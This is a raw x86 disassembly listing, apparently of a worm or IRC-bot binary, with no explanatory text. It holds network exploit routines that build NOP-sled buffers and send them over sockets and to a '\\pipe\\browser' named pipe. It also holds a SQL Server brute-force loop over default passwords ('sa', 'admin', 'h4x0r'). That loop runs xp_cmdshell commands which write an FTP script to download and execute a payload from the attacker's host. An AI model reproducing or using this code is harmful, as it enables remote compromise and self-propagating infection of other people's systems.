var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_430390
		mov	eax, ds:dword_43D93C
		mov	ecx, ds:dword_43D940
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_43D930
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		call	ds:dword_4B3C18
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_423E35:				; CODE XREF: sub_423DF0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_423E35
		mov	ecx, 18h
		mov	esi, offset dword_43D200
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, ds:dword_43D257
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, ds:dword_43D25B
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, ds:byte_43D25F
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, ds:word_4B22FC
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		call	ds:dword_4B3CB0
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	ds:word_43CF00,	ax
		jz	loc_423FE3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, ds:dword_43D5F4[edx*8]
		rep stosd
		mov	edi, offset dword_43CE50
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset dword_43CE50
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ds:dword_43D928
		mov	edi, offset dword_43CE50
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset dword_43CE50
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_423F8F:				; CODE XREF: sub_423DF0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_423F8F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_424052
; ---------------------------------------------------------------------------


loc_423FE3:				; CODE XREF: sub_423DF0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset dword_43CE50
		rep stosd
		mov	edi, offset dword_43CE50
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, ds:dword_43D5F4
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_424052:				; CODE XREF: sub_423DF0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, ds:dword_4B3C9C
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_424096
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_424096:				; CODE XREF: sub_423DF0+297j
		mov	esi, ds:dword_4B3C6C
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi
		push	0
		push	68h
		push	offset dword_43D264
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4240CC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_4240CC:				; CODE XREF: sub_423DF0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi
		push	0
		push	0A0h
		push	offset dword_43D2D0
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4240FF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_4240FF:				; CODE XREF: sub_423DF0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_4241E5
		mov	ecx, 1Ah
		mov	esi, offset dword_43D488
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_43D4F4
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_43D568
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4241AB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_4241AB:				; CODE XREF: sub_423DF0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		call	ds:dword_4B3C6C
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42424C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_4241E5:				; CODE XREF: sub_423DF0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_43D374
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_43D3F4
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42424C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_42424C:				; CODE XREF: sub_423DF0+3E6j
					; sub_423DF0+44Dj
		push	12Ch
		call	ds:dword_4B38CC
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40135C
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_423DF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_4243C0:				; CODE XREF: _294ADE7B:00401C8Aj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		call	ds:dword_4B3CBC
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		call	ds:dword_4B3CB0
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		call	ds:dword_4B3CAC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_424426
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: _294ADE7B:00424418j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4B3CB4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_424445
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_424445:				; CODE XREF: _294ADE7B:00424437j
		mov	edi, ds:dword_4B3C9C
		push	0
		push	89h
		push	offset dword_43CFE8
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42446B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_42446B:				; CODE XREF: _294ADE7B:0042445Dj
		mov	esi, ds:dword_4B3C6C
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi
		push	0
		push	0A8h
		push	offset dword_43D074
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244A0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_4244A0:				; CODE XREF: _294ADE7B:00424492j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi
		push	0
		push	0DEh
		push	offset dword_43D120
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244CF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_4244CF:				; CODE XREF: _294ADE7B:004244C1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_4244FB
		dec	eax
		jz	short loc_4244F7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_4244F7:				; CODE XREF: _294ADE7B:004244E9j
		push	0
		jmp	short loc_42452E
; ---------------------------------------------------------------------------


loc_4244FB:				; CODE XREF: _294ADE7B:004244E6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401744
		add	esp, 0C4h
		test	al, al
		jz	short loc_42452C
		mov	esi, 1
		jmp	short loc_42455A
; ---------------------------------------------------------------------------


loc_42452C:				; CODE XREF: _294ADE7B:00424523j
		push	1


loc_42452E:				; CODE XREF: _294ADE7B:004244F9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401744
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_42455A:				; CODE XREF: _294ADE7B:0042452Aj
		push	ebx
		call	ds:dword_4B3CA8
		test	esi, esi
		jz	short loc_424588
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401131
		add	esp, 0BCh


loc_424588:				; CODE XREF: _294ADE7B:00424563j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424620:				; CODE XREF: _294ADE7B:00401D43j
		sub	esp, 0C44h
		mov	al, ds:byte_43FDC8
		mov	ecx, offset aRoot ; "root"
		push	ebx
		push	ebp
		mov	[esp+28h], ecx
		mov	[esp+40h], ecx
		push	esi
		lea	ecx, [esp+18h]
		push	edi
		xor	edx, edx
		mov	[esp+13h], al
		push	ecx
		mov	esi, offset aSa	; "sa"
		mov	eax, offset aAdmin ; "admin"
		push	edx
		push	1
		mov	[esp+38h], esi
		mov	[esp+40h], eax
		mov	[esp+44h], edx
		mov	dword ptr [esp+48h], offset byte_43FDC8
		mov	[esp+4Ch], eax
		mov	[esp+50h], esi
		mov	dword ptr [esp+58h], offset aH4x0r ; "h4x0r"
		mov	[esp+5Ch], edx
		mov	[esp+30h], edx
		mov	[esp+24h], edx
		mov	[esp+20h], edx
		call	sub_430310
		test	ax, ax
		jz	short loc_42469F
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0C44h
		retn
; ---------------------------------------------------------------------------


loc_42469F:				; CODE XREF: _294ADE7B:00424690j
		mov	edx, [esp+1Ch]
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	edx
		call	sub_43030A
		test	ax, ax
		jz	short loc_4246C4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0C44h
		retn
; ---------------------------------------------------------------------------


loc_4246C4:				; CODE XREF: _294ADE7B:004246B5j
		mov	ecx, [esp+1Ch]
		lea	eax, [esp+18h]
		push	eax
		push	ecx
		push	2
		call	sub_430310
		test	ax, ax
		jz	short loc_4246F3
		mov	edx, [esp+1Ch]
		push	edx
		push	1
		call	sub_430304
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0C44h
		retn
; ---------------------------------------------------------------------------


loc_4246F3:				; CODE XREF: _294ADE7B:004246D8j
		test	esi, esi
		jz	loc_42488E
		mov	ebp, ds:dword_4B3C18
		lea	ecx, [esp+2Ch]
		mov	[esp+20h], ecx


loc_424709:				; CODE XREF: _294ADE7B:00424881j
		mov	eax, offset byte_43FDC8
		test	eax, eax
		jz	loc_424871
		mov	ebx, [ecx]
		lea	esi, [esp+3Ch]


loc_42471C:				; CODE XREF: _294ADE7B:0042479Cj
		mov	edx, [esp+0CF6h]
		lea	ecx, [esp+13h]
		push	ecx
		push	eax
		push	ebx
		lea	eax, [esp+0C68h]
		push	edx
		push	eax
		lea	ecx, [esp+468h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	ecx
		call	ebp
		add	esp, 1Ch
		lea	edx, [esp+2Ah]
		lea	eax, [esp+854h]
		lea	edi, [esp+454h]
		push	0
		push	edx
		push	400h
		push	eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edx, [esp+28h]
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+468h]
		push	ecx
		push	eax
		push	edx
		call	sub_4302FE
		test	ax, ax
		jz	short loc_4247A7
		cmp	ax, 1
		jz	short loc_4247A7
		push	1F4h
		call	ds:dword_4B38CC
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	loc_42471C
		jmp	loc_424871
; ---------------------------------------------------------------------------


loc_4247A7:				; CODE XREF: _294ADE7B:00424781j
					; _294ADE7B:00424787j
		mov	ecx, [esp+18h]
		lea	eax, [esp+14h]
		push	eax
		push	ecx
		push	3
		call	sub_430310
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		mov	ecx, offset byte_4403A9
		call	sub_401726
		mov	edx, ds:dword_4404E7
		push	eax
		mov	eax, [esp+0C68h]
		push	edx
		push	eax
		call	sub_401CC1
		add	esp, 4
		lea	ecx, [esp+68h]
		push	eax
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	ecx
		call	ebp
		mov	eax, [esp+34h]
		add	esp, 20h
		lea	edx, [esp+54h]
		push	0FFFFFFFDh
		push	edx
		push	eax
		call	sub_4302F8
		test	ax, ax
		jz	short loc_424865
		mov	esi, ds:dword_4B38CC
		push	1388h
		call	esi
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		lea	ecx, [esp+58h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	ecx
		call	ebp
		mov	eax, [esp+20h]
		add	esp, 0Ch
		lea	edx, [esp+54h]
		push	0FFFFFFFDh
		push	edx
		push	eax
		call	sub_4302F8
		test	ax, ax
		jz	short loc_424886
		push	1388h
		call	esi


loc_424865:				; CODE XREF: _294ADE7B:0042481Fj
		mov	ecx, [esp+14h]
		push	ecx
		push	3
		call	sub_430304


loc_424871:				; CODE XREF: _294ADE7B:00424710j
					; _294ADE7B:004247A2j
		mov	ecx, [esp+20h]
		add	ecx, 4
		mov	[esp+20h], ecx
		cmp	dword ptr [ecx], 0
		jz	short loc_42488E
		jmp	loc_424709
; ---------------------------------------------------------------------------


loc_424886:				; CODE XREF: _294ADE7B:0042485Cj
		mov	dword ptr [esp+24h], 1


loc_42488E:				; CODE XREF: _294ADE7B:004246F5j
					; _294ADE7B:0042487Fj
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+0D14h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401131
		mov	edx, [esp+0D4h]
		add	esp, 0BCh
		push	edx
		push	2
		call	sub_430304
		mov	eax, [esp+1Ch]
		push	eax
		push	1
		call	sub_430304
		mov	eax, [esp+24h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0C44h
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424990:				; CODE XREF: _294ADE7B:00401D02j
		push	edi
		push	0C8h
		call	ds:dword_4B38CC
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		call	ds:dword_4B3C9C
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4249E0	proc near		; CODE XREF: sub_401960j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		call	ds:dword_4B3CBC
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		call	ds:dword_4B3CB0
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_424A48
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_424A48:				; CODE XREF: sub_4249E0+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4B3CB4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_424A68
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_424A68:				; CODE XREF: sub_4249E0+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		call	ds:dword_4B3C6C
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		mov	ecx, offset byte_4403A9
		call	sub_401726
		mov	edx, ds:dword_4404E7
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401CC1
		mov	ebx, ds:dword_4B3AA8
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, ds:dword_4B3C9C
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_424AF7
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_424AF7:				; CODE XREF: sub_4249E0+108j
		push	1F4h
		call	ds:dword_4B38CC
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		push	offset dword_43BBBC
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_424B4C
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_424B4C:				; CODE XREF: sub_4249E0+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		call	ds:dword_4B3C6C
		push	esi
		call	ds:dword_4B3CA8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_4249E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424BF0:				; CODE XREF: _294ADE7B:00401FEBj
		mov	eax, 1E88h
		call	sub_430390
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_43DB08
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, ds:dword_4B2300
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, ds:dword_43DD80
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_43DAB8
		rep stosd
		mov	eax, ds:dword_43DD78
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_43DAE8
		lea	edi, [esp+69Ch]
		mov	ax, ds:word_43DD74
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, ds:dword_4B3AA8
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_43D930
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_43FDC8
		push	offset byte_43FDC8
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_430AC2
		test	eax, eax
		jz	short loc_424D15
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: _294ADE7B:00424D07j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		call	ds:dword_4B38B4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_424D5F
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_424D5F:				; CODE XREF: _294ADE7B:00424D52j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_43DA6C
		push	esi
		call	ds:dword_4B3858
		test	eax, eax
		jnz	short loc_424D97
		push	esi
		call	ds:dword_4B38C8
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_424D97:				; CODE XREF: _294ADE7B:00424D82j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		call	ds:dword_4B38A0
		test	eax, eax
		jnz	short loc_424DC8
		push	esi
		call	ds:dword_4B38C8
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_424DC8:				; CODE XREF: _294ADE7B:00424DB3j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401960
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
